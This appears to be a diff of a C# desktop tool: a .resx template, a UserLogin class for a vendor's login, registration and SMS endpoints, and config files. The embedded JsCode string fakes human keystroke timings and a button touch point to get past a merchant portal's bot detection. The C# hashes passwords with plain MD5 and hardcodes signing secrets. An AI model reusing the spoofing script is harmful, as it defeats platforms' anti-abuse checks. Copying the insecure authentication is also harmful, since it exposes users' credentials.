<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+682
View File
@@ -0,0 +1,682 @@
using System;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using AllBase;
namespace Work
{
public class UserLogin
{
public string Mobile;
public string Password;
public static bool Logining = false, NoRegedit = false, NoFindPass = false, NoBuy = false;
/// <summary>
/// 登录
/// </summary>
/// <param name="message"></param>
/// <returns></returns>
public bool Get(ref string message, out int lockUserName, out int weakPassword, out string messageInfo)
{
bool IsLoginDef = false;
Logining = true;
string mobile = Mobile;
string password = Password;
string passwordMd5;
if (password == "******")
passwordMd5 = BaseClass.PassWord;
else
passwordMd5 = Md5Base.GetMd5(password).ToLower();
BaseClass.PassWord = passwordMd5;
BaseClass.PassWordBak = BaseClass.PassWord;
BaseClass.UserName = Mobile;
Random r = new Random();
int r2 = r.Next(100000000, 899999999); //生成随机码
string url = BaseClass.DouYinBuildObjString("login");
for (int j = 0; j < 100 && string.IsNullOrEmpty(BaseClass.MacInfo); j++)
{
Thread.Sleep(10);
}
Agian:
string data = "mobile=" + mobile + "&r2=" + r2 + "&password=" + passwordMd5 + "&" + GetSignature() + "&mac=" + BaseClass.MacInfo + "&version=" + BaseClass.VersionCount;
data += "&from_tool=" + GetHtml.UrlEncodeUtf8(BaseClass.AgentName) + "&client_ip=" + GetHtml.UrlEncodeUtf8(BaseClass.IPAddress) + "&client_addr=" + GetHtml.UrlEncodeUtf8(BaseClass.IPAddressName);
string html = GetHtml.PostUtf8(url, data);
lockUserName = -1;
weakPassword = -1;
messageInfo = "";
if (string.IsNullOrEmpty(html) || html.Contains("Error No File"))
{
if (!IsLoginDef)
{
IsLoginDef = true;
url = BaseClass.DouYinBuildObjString("login");
goto Agian;
}
message = "链接服务器失败\r\n" +
"如有问题请联系官方QQ:" + BaseClass.ServiceQQ;
return false;
}
if (html == "need open")
{
message = "登录失败\r\n请先点击“购买开户”开通本软件使用权限";
return false;
}
if (!html.Contains("\"code\":200"))
{
var errMsg = BaseRegex.GetStringJson(ref html, "msg");
if (string.IsNullOrEmpty(errMsg))
errMsg = html;
message = errMsg;
return false;
}
string code = BaseRegex.GetStringJson(ref html, "c");
string codex = Encryption(r2);
if (code != codex)
{
message = "登录失败\r\n链接异常请重试";
return false;
}
if (IsLoginDef)
{
BaseClass.LoginApiUrl = "http://new.qixiaoke.com/";
BaseClass.ImageApiUrl = BaseClass.LoginApiUrl + "index.php?obj=api/image";
}
BaseClass.EndDate = BaseRegex.GetStringJson(ref html, "end");
BaseClass.CompanyName = BaseRegex.GetStringJson(ref html, "company");
BaseClass.UserId =Convert.ToInt32(BaseRegex.GetStringJson(ref html, "uid"));
BaseClass.UserKey = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "key"));
BaseClass.NickName = BaseRegex.GetStringJson(ref html, "nickname");
BaseClass.UserVersion = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "v"));
BaseClass.UserVersionString = BaseRegex.GetStringJson(ref html, "vt");
BaseClass.CompanyId = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "cid"));
BaseClass.GroupId = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "groupid"));
BaseClass.Balance = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "balance"));
BaseClass.IsFactory = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "factory")) == 1;
BaseClass.IsCloudBuyOrder = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "cloud_buy_order_status")) == 1;
if (BaseClass.GroupId != 3 && BaseClass.GroupId != 4 && BaseClass.GroupId != 9 && BaseClass.GroupId != 10 && BaseClass.GroupId != 11)
{
BaseClass.UserId = 0;
BaseClass.UserKey = 0;
return false;
}
BaseClass.EndDate = BaseRegex.GetStringJson(ref html, "end");
BaseClass.CompanyName = BaseRegex.GetStringJson(ref html, "company");
string islock = BaseRegex.GetStringJson(ref html, "is_lock");
int.TryParse(islock, out lockUserName);
string isweak = BaseRegex.GetStringJson(ref html, "is_weak_password");
int.TryParse(isweak, out weakPassword);
messageInfo = BaseRegex.GetStringJson(ref html, "message");
// 代理权限列表
string agent_auth = BaseRegex.GetStringJson(ref html, "agent_auth");
Initialization i = new Initialization();
i.SaveConfig();
return true;
}
/// <summary>
/// 注册账户
/// </summary>
/// <param name="mobile">手机</param>
/// <param name="password">密码</param>
/// <param name="code">验证码</param>
/// <param name="nickname">昵称</param>
/// <param name="email">邮箱</param>
/// <param name="message"></param>
/// <returns></returns>
public bool Regedit(string mobile, string password, string code, string nickname, string email, out string message)
{
string passwordMd5 = Md5Base.GetMd5(password).ToLower();
string url = BaseClass.DouYinBuildObjString("regedit");
string data = "mobile=" + mobile + "&password=" + passwordMd5 + "&sms_code=" + code + "&nickname=" + GetHtml.UrlEncodeUtf8(nickname) +
"&email=" + email + "&" + GetSignature();
string html = GetHtml.PostUtf8(url, data);
if (string.IsNullOrEmpty(html) || html.Contains("Error No File"))
{
message = "提交请求失败,请重试,如仍失败请尝试以下方法:\r\n" +
"1、Win7、8、10系统请(右击)使用管理员权限运行\r\n" +
"2、检查网络链接是否正确、杀毒防火墙等是否禁止链接(可卸载后再次登录)\r\n" +
"3、请不要使用代理上网,更换为路由或者直接链接\r\n" +
"4、可先卸载杀毒软件或者安全卫士,软件正常联网后,重新安装杀毒\r\n" +
"5、如以上方法依然无法解决,可联系客服QQ:" + BaseClass.ServiceQQ + " 协助";
return false;
}
if (!html.Contains("\"code\":200"))
{
var errMsg = BaseRegex.GetStringJson(ref html, "msg");
if (string.IsNullOrEmpty(errMsg))
errMsg = html;
message = errMsg;
if (message.Contains("手机号码已被注册"))
{
message = message.Replace("手机号码已被注册", "手机号码已被注册,请直接登录或找回密码");
}
if (message.Contains("短信验证码错误"))
{
message = "短信验证码错误,请重新输入\r\n如果接收不到,请联系客服QQ:" + BaseClass.ServiceQQ + "";
}
return false;
}
message = "";
return true;
}
/// <summary>
/// 重置密码
/// </summary>
/// <param name="mobile"></param>
/// <param name="code"></param>
/// <param name="password"></param>
/// <param name="message"></param>
/// <returns></returns>
public bool ResetPassword(string mobile, string code, string password, out string message)
{
string passwordMd5 = Md5Base.GetMd5(password).ToLower();
string url = BaseClass.DouYinBuildObjString("reset_password");
string data = "mobile=" + mobile + "&password=" + passwordMd5 + "&sms_code=" + code + "&" + GetSignature();
string html = GetHtml.PostUtf8(url, data);
if (string.IsNullOrEmpty(html) || html.Contains("Error No File"))
{
message = "提交请求失败,请重试,如仍失败请尝试以下方法:\r\n" +
"1、Win7、8、10系统请(右击)使用管理员权限运行\r\n" +
"2、检查网络链接是否正确、杀毒防火墙等是否禁止链接(可卸载后再次登录)\r\n" +
"3、请不要使用代理上网,更换为路由或者直接链接\r\n" +
"4、可先卸载杀毒软件或者安全卫士,软件正常联网后,重新安装杀毒\r\n" +
"5、如以上方法依然无法解决,可联系客服QQ:" + BaseClass.ServiceQQ + " 协助";
return false;
}
if (!html.Contains("\"code\":200"))
{
var errMsg = BaseRegex.GetStringJson(ref html, "msg");
if (string.IsNullOrEmpty(errMsg))
errMsg = html;
message = errMsg;
return false;
}
message = "";
return true;
}
/// <summary>
/// 获取签名字符串
/// </summary>
/// <returns></returns>
public static string GetSignature(bool isPhoneOrder = false)
{
int time = BaseClass.DateTimeToTimestampSeconds(DateTime.Now) + BaseClass.TimeDifferent;
string code = Encryption(time);
if (isPhoneOrder)
{
code = BaseClass.GetMd5(time.ToString() + "8eLg*MDD46YjA_e*onDgnvkdIaGhi=7B").ToUpper();
}
return "time=" + time + "&code=" + code + "&NbCodeVersion=1";
}
public static bool IsPinduoduo = false;
/// <summary>
/// 获取签名字符串,新版
/// </summary>
/// <returns></returns>
public static string GetSignaturex(bool isPhoneOrder = false, int posttype = 0)
{
return GetSignaturex(BaseClass.ShopId, BaseClass.ShopName, isPhoneOrder, posttype);
}
public static string GetSignaturex(string shopId, string shopName, bool isPhoneOrder = false, int posttype=0)
{
if (string.IsNullOrEmpty(shopId))
shopId = BaseClass.ShopId;
if (string.IsNullOrEmpty(shopName))
shopName = BaseClass.ShopName;
int time = BaseClass.ConvertDateTimeInt(DateTime.Now) + BaseClass.TimeDifferent;
string time1 = Encryption(time);
if (posttype==1)
{
return time1;
}
return GetSignature(isPhoneOrder) + "&version=" + BaseClass.VersionCount + "&uid=" + BaseClass.UserId + "&key=" + BaseClass.UserKey +
"&cid=" + BaseClass.CompanyId + "&company=" + GetHtml.UrlEncodeUtf8(BaseClass.CompanyName) +
"&sid=" + shopId + "&shop=" + GetHtml.UrlEncodeUtf8(shopName);
}
/// <summary>
/// 签名算法
/// </summary>
/// <param name="s">随机数</param>
/// <returns>加密签名结果</returns>
public static string Encryptionxx(int s)
{
string ss = s.ToString();
if (ss.Length > 8)
{
ss = ss.Substring(ss.Length - 8);
s = int.Parse(ss);
if (s < 100000000)
s += 100000000;
}
byte[] kb = Encoding.ASCII.GetBytes(s.ToString());
if (BaseClass.NewSignatureAuth)
{
double y = s * 1.6081825125;
y += 4582095.48659959;
y += kb[3] * 934579.486548;
y += kb[7] + 4889894.30184;
byte[] k = Encoding.ASCII.GetBytes(y.ToString());
y -= 478735.48548;
y -= k[6] * 426720.454545;
y -= k[2] * 5667826.96889;
byte[] k1 = Encoding.ASCII.GetBytes(y.ToString());
y += 56979810.2455;
y -= k1[1] * 58742.0564845;
y -= k1[5] * 1528.487866;
string c = ((int)y).ToString();
return GetMd5(c); //返回签名的MD5结果
}
else
{
double y = s * 1.8061825125;
y += 4852095.48659959;
y += kb[3] * 943579.486548;
y += kb[7] + 4889894.30184;
byte[] k = Encoding.ASCII.GetBytes(y.ToString());
y -= 458735.48548;
y -= k[6] * 458720.454545;
y -= k[2] * 5447826.96889;
byte[] k1 = Encoding.ASCII.GetBytes(y.ToString());
y += 34779810.2455;
y -= k1[1] * 57942.0564845;
y -= k1[5] * 1548.487866;
string c = ((int)y).ToString();
return GetMd5(c); //返回签名的MD5结果
}
//double y = s * 1.8061825125;
//y += 4852095.48659959;
//y += kb[3] * 943579.486548;
//y += kb[7] + 4889894.30184;
//byte[] k = Encoding.ASCII.GetBytes(y.ToString());
//y -= 458735.48548;
//y -= k[6] * 458720.454545;
//y -= k[2] * 5447826.96889;
//byte[] k1 = Encoding.ASCII.GetBytes(y.ToString());
//y += 34779810.2455;
//y -= k1[1] * 57942.0564845;
//y -= k1[5] * 1548.487866;
//string c = ((int)y).ToString();
//return GetMd5(c); //返回签名的MD5结果
}
/// <summary>
/// 签名算法
/// </summary>
/// <param name="s">随机数</param>
/// <returns>加密签名结果</returns>
public static string Encryption(int s)
{
return GetMd5(s + "sdhewu*/fhAAue48485ew5+5%@3485esGFFHFD");
}
public string Get(string key)
{
if (string.IsNullOrEmpty(key))
return "";
byte[] inArray = Convert.FromBase64String(key.Replace("/", "="));
string html = Encoding.UTF8.GetString(inArray);
html = html.Replace("C", "1");
html = html.Replace("Q", "6");
html = html.Replace("I", "2");
html = html.Replace("L", "0");
html = html.Replace("Z", "9");
html = html.Replace("O", "5");
html = html.Replace("P", "8");
html = html.Replace("D", "7");
html = html.Replace("R", "b");
html = html.Replace("S", "c");
html = html.Replace("J", "a");
return html;
}
/// <summary>
/// MD5加密
/// </summary>
/// <param name="instring"></param>
/// <returns></returns>
public static string GetMd5(string instring)
{
byte[] result = Encoding.Default.GetBytes(instring.Trim());
MD5 md5 = new MD5CryptoServiceProvider();
byte[] output = md5.ComputeHash(result);
return BitConverter.ToString(output).Replace("-", "");
}
/// <summary>
/// 获取验证码
/// </summary>
/// <param name="mobile"></param>
/// <param name="success"></param>
/// <returns></returns>
public static string SendCode(string mobile, out bool success)
{
string url = BaseClass.DouYinBuildObjString("sms_gate");
string data = "mobile=" + mobile + "&" + GetSignature();
string html = GetHtml.PostUtf8(url, data);
success = false;
if (string.IsNullOrEmpty(html) || html.Contains("Error No File"))
{
return "提交请求失败,请重试,如仍失败请尝试以下方法:\r\n" +
"1、Win7、8、10系统请(右击)使用管理员权限运行\r\n" +
"2、检查网络链接是否正确、杀毒防火墙等是否禁止链接(可卸载后再次登录)\r\n" +
"3、请不要使用代理上网,更换为路由或者直接链接\r\n" +
"4、可先卸载杀毒软件或者安全卫士,软件正常联网后,重新安装杀毒\r\n" +
"5、如以上方法依然无法解决,可联系客服QQ:" + BaseClass.ServiceQQ + " 协助";
}
if (!html.Contains("\"code\":200"))
{
var errMsg = BaseRegex.GetStringJson(ref html, "msg");
if (string.IsNullOrEmpty(errMsg))
errMsg = html;
return errMsg;
}
success = true;
return "";
}
public static string JsCode = @"var auth = {
getPublicKey: function() {
var _this = this;
Helper.get(""earth/api/queryPasswordEncrypt"", {}).then(function(d) {
if (d.success) {
_this.passwordEncrypt = d.result.passwordEncrypt;
_this.publicKey = d.result.publicKey;
_this.authCode();
}
});
},
authCode: function() {
var _this = this;
Helper.post(""earth/api/merchant/getCaptchaCode"", {
sceneId: 15
}).then(function(t) {
if (t.success) {
$img = document.querySelector('#tuxing').nextElementSibling;
$img.setAttribute('src', t.result.picture);
_this.captChaCodeUrl = t.result.picture;
_this.token = t.result.sign;
_this.__callback && _this.__callback.apply(_this);
}
})
},
setStartTime: function(e) {
var t = (new Date).getTime();
if (e == 'usernameId') {
this.mobileInputEditStartTime = t;
} else if (e == 'passwordId') {
this.passwordInputEditStartTime = t;
} else if (e == 'authCode') {
this.captureInputEditStartTime = t;
}
},
setEndTime: function(e) {
var t = (new Date).getTime();
if (e == 'usernameId') {
this.mobileInputEditFinishTime = t;
} else if (e == 'passwordId') {
this.passwordInputEditFinishTime = t;
} else if (e == 'authCode') {
this.captureInputEditFinishTime = t;
}
},
setKeyboardEvent: function(e, t, n) {
for (var r = """", i = 0, a = 0, o = 0, s = """", l = 0; l < t.length; l++)
""9"" == t[l].keyCode ? i = 1 : ""17"" == t[l].keyCode || ""91"" == t[l].keyCode ? a = 1 : ""86"" == t[l].keyCode && (o = 1),
r += 0 == l ? t[l].time - e : t[l].time - t[l - 1].time,
l < t.length - 1 && (r += ""-"");
s += i + ""|"" + a + ""|"" + o + ""|"" + r;
this[n] = s;
},
getKeyCode: function(e, t) {
var n = this,
r = this.mobileInputKeyboardEventList,
i = this.passwordInputKeyboardEventList,
a = this.captureInputKeyboardEventList,
o = (new Date).getTime(),
s = {
time: o,
keyCode: t.keyCode
};
if (e == 'usernameId') {
r.push(s);
r = r.filter(function(e, t) {
return null != e.keyCode;
});
this.mobileInputKeyboardEventList = r;
this.setKeyboardEvent(this.mobileInputEditStartTime, r, 'mobileInputKeyboardEvent');
}
if (e == 'passwordId') {
i.push(s);
i = i.filter(function(e, t) {
return null != e.keyCode
});
this.passwordInputKeyboardEventList = i;
this.setKeyboardEvent(this.passwordInputEditStartTime, i, 'passwordInputKeyboardEvent');
}
if (e == 'authCode') {
a.push(s);
a = a.filter(function(e, t) {
return null != e.keyCode
});
this.captureInputKeyboardEventList = a;
this.setKeyboardEvent(this.captureInputEditStartTime, i, 'captureInputKeyboardEvent');
}
},
UIEvents: function() {
var _this = this;
// 模拟键盘输入
var username = new Promise(function(resolve, reject) {
var keys = _this.options.username.split('');
var quque = function() {
if (!keys.length) {
resolve();
return;
}
var key = keys[0].charCodeAt(0),
event = {keyCode: key};
setTimeout(function() {
_this.setEndTime('usernameId');
_this.getKeyCode('usernameId', event);
keys.shift();
quque();
}, 10);
};
_this.setStartTime('usernameId');
quque();
});
var password = new Promise(function(resolve, reject) {
var keys = _this.options.password.split('');
var quque = function() {
if (!keys.length) {
resolve();
return;
}
var key = keys[0].charCodeAt(0),
event = {keyCode: key};
setTimeout(function() {
_this.setEndTime('passwordId');
_this.getKeyCode('passwordId', event);
keys.shift();
quque();
}, 10);
};
_this.setStartTime('passwordId');
quque();
});
var authCode = new Promise(function(resolve, reject) {
var keys = _this.options.verifyCode.split('');
var quque = function() {
if (!keys.length) {
resolve();
return;
}
var key = keys[0].charCodeAt(0),
event = {keyCode: key};
setTimeout(function() {
_this.setEndTime('authCode');
_this.getKeyCode('authCode', event);
keys.shift();
quque();
}, 10);
};
_this.setStartTime('authCode');
quque();
});
Promise.all([username, password, authCode]).then(function(values) {
_this.login();
});
},
login: function() {
var _this = this,
params = {}
$btn = document.querySelector('#loginBtnId')
offset = $btn.getBoundingClientRect(),
btnPoint = parseInt(offset.x + (offset.width / 2)) + ',' + parseInt(offset.y + (offset.height / 2));
params = {
username: this.options.username,
password: this.options.password,
verifyCode: this.options.verifyCode,
verificationCode: """",
sign: this.token,
touchevent: {
mobileInputEditStartTime: this.mobileInputEditStartTime,
mobileInputEditFinishTime: this.mobileInputEditFinishTime,
mobileInputKeyboardEvent: this.mobileInputKeyboardEvent,
passwordInputEditStartTime: this.passwordInputEditStartTime,
passwordInputEditFinishTime: this.passwordInputEditFinishTime,
passwordInputKeyboardEvent: this.passwordInputKeyboardEvent,
captureInputEditStartTime: this.captureInputEditStartTime,
captureInputEditFinishTime: this.captureInputEditFinishTime,
captureInputKeyboardEvent: this.captureInputKeyboardEvent,
loginButtonTouchPoint: btnPoint,
loginButtonClickTime: (new Date).getTime()
},
fingerprint: {
innerHeight: window.innerHeight,
innerWidth: window.innerWidth,
devicePixelRatio: window.devicePixelRatio,
availHeight: screen.availHeight,
availWidth: screen.availWidth,
height: screen.height,
width: screen.width,
colorDepth: screen.colorDepth,
locationHref: location.href,
navigator: {
appCodeName: navigator.appCodeName,
appName: navigator.appName,
hardwareConcurrency: navigator.hardwareConcurrency,
language: navigator.language,
cookieEnabled: navigator.cookieEnabled,
platform: navigator.platform,
doNotTrack: navigator.doNotTrack,
ua: navigator.ua,
vendor: navigator.vendor,
product: navigator.product,
productSub: navigator.productSub
},
referer: document.referrer,
timezoneOffset: (new Date).getTimezoneOffset()
}
}
if (this.passwordEncrypt) {
var p = new JSEncrypt;
p.setPublicKey(this.publicKey);
params.password = p.encrypt(params.password);
params.passwordEncrypt = true;
}
Helper.post(""nomallid/auth"", params).then(function(e) {
if (e.error_msg) {
console.log(e);
//alert('login error');
return;
}
localStorage.setItem(""PASSID"", e.pass_id);
Helper.saveToSessionStorage(""old_easy_psd"", { old_easy_psd: params.password});
_this.handerAfterAjax(e.userInfo, params.username);
}, function() {
//alert('login Error');
});
},
handerAfterAjax: function(e, n) {
Helper.saveToLocalStorage(""old_username"", {
username: n
});
window.mall_id = e.mallId;
Pdd.saveToLocalStorage(""username"", n);
Helper.queryUserinfo(function(e) {
window.g_mall_id = e.mallId;
e.error_msg || Helper.saveToLocalStorage(""userinfo"", e);
window.location.href = location.origin + location.pathname + '#/index?pre=log_page';
});
},
send(options) {
this.options = Object.assign({}, options);
this.UIEvents();
},
/**/
init: function(callback) {
this.passwordEncrypt = null;
this.publicKey = null;
this.captChaCodeUrl = null;
this.token = null;
this.mobileInputEditStartTime = """";
this.mobileInputEditFinishTime = """";
this.mobileInputKeyboardEvent = """";
this.mobileInputKeyboardEventList = [];
this.passwordInputEditStartTime = """";
this.passwordInputEditFinishTime = """";
this.passwordInputKeyboardEvent = """";
this.passwordInputKeyboardEventList = [];
this.captureInputEditStartTime = """";
this.captureInputEditFinishTime = """";
this.captureInputKeyboardEvent = """";
this.captureInputKeyboardEventList = [];
this.loginButtonTouchPoint = """";
this.loginButtonClickTime = """";
this.__callback = callback || null;
this.getPublicKey();
}
};auth.init();";
}
}
+11
View File
@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
</dependentAssembly>
</assemblyBinding>
</runtime>
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" /></startup></configuration>
+7
View File
@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="cef.redist.x64" version="79.1.36" targetFramework="net452" />
<package id="cef.redist.x86" version="79.1.36" targetFramework="net452" />
<package id="CefSharp.Common" version="79.1.360" targetFramework="net452" />
<package id="CefSharp.WinForms" version="79.1.360" targetFramework="net452" />
</packages>